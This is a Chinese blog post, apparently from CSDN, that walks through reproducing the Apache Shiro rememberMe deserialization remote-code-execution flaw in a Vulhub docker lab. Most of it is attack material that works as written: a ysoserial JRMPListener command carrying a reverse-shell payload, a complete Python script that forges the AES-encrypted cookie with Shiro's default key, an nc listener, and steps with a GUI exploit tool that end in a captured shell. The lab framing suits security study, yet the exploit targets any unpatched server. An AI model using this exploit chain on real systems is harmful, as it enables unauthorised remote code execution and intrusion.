• shiro反序列化漏洞复现


    目录

    简介:

    Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能。Shiro框架直观、易用,同时也能提供健壮的安全性
    漏洞原理:
    Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
    那么,Payload产生的过程:
    命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值
    在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单
    影响版本: Apache Shiro < 1.2.4
    漏洞挖掘: 响应包中包含rememberMe=deleteMe字段

    靶场环境

    vuluhub:自行百度
    在这里插入图片描述
    使用centos系统,进行docker进行部署,进入上图文件夹,执行如下命令,如下图所示为成功

    docker-compose up -d   #启动
    docker-compose ps      #查看运行状态
    
    • 1
    • 2

    在这里插入图片描述

    漏洞复现

    一、手工复现

    访问ip+8080端口,是一个登录页面
    在这里插入图片描述
    使用burp抓取当前页面数据包,在cookie中添加rememberMe=1,在响应包中显示Set-Cookie: rememberMe=deleteMe,说明存在shiro框架,可能存在漏洞
    在这里插入图片描述在这里插入图片描述
    1.通过ysoserial中JRMP监听模块,监听1099端口并执行反弹shell命令
    VPS中执行:

    java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "反弹 shell 的命令"
    
    • 1

    注意:
    1) 反弹 shell 的命令需要进行编码,在线转换网址:http://www.jackson-t.ca/runtime-exec-payloads.html
    在这里插入图片描述

    2) CommonsCollections5,数字5可换成1-12其中之一

    1. 生成payload(cookie)

      python exp.py 公网 vps:1099

    在这里插入图片描述
    exp.py,python代码

    import sys
    import uuid
    import base64
    import subprocess
    from Crypto.Cipher import AES
    
    
    def encode_rememberme(command):
        popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
        BS = AES.block_size
        pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
        key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
        iv = uuid.uuid4().bytes
        encryptor = AES.new(key, AES.MODE_CBC, iv)
        file_body = pad(popen.stdout.read())
        base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
        return base64_ciphertext
    
    if __name__ == '__main__':
        payload = encode_rememberme(sys.argv[1])   
    print "rememberMe={0}".format(payload.decode())
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    1. VPS开启nc监听

      nc -nvlp 端口 #端口,就是上面写反弹shell的端口

    2. 在burp,cookie中插入payload
      在这里插入图片描述

    3. 此时vps接收到shell
      在这里插入图片描述

    二、图形化工具

    下载地址: https://github.com/feihong-cs/ShiroExploit-Deprecated/releases/tag/v2.51
    使用方法: 输入待测地址,默认即可
    在这里插入图片描述
    在这里插入图片描述
    发现key了,说明存在漏洞
    在这里插入图片描述
    执行下whoami,应该是成功了,但是木有回显
    在这里插入图片描述
    执行下反弹shell,nc监听4399端口
    在这里插入图片描述
    成功接收shell
    在这里插入图片描述

  • 相关阅读:
    浅谈赚钱的四个级别,你在哪一层呢
    go Cobra命令行工具入门
    仿函数:对优先级队列的优化【C++】
    Spring cloud day(8) stream
    java计算机毕业设计菲特尼斯健身管理系统设计与实现源码+mysql数据库+系统+lw文档+部署
    冥想第六百二十三天
    OpenCV直方图的原理与显示、掩膜、均衡化、自适应均衡化
    Scala入门到精通(尚硅谷学习笔记)章节八——面向对象
    [CISCN2019 总决赛 Day1 Web4]Laravel1
    阿里云国际站代理商:FFmpeg 处理音视频文件的常用方法
  • 原文地址:https://blog.csdn.net/m0_67391683/article/details/126496284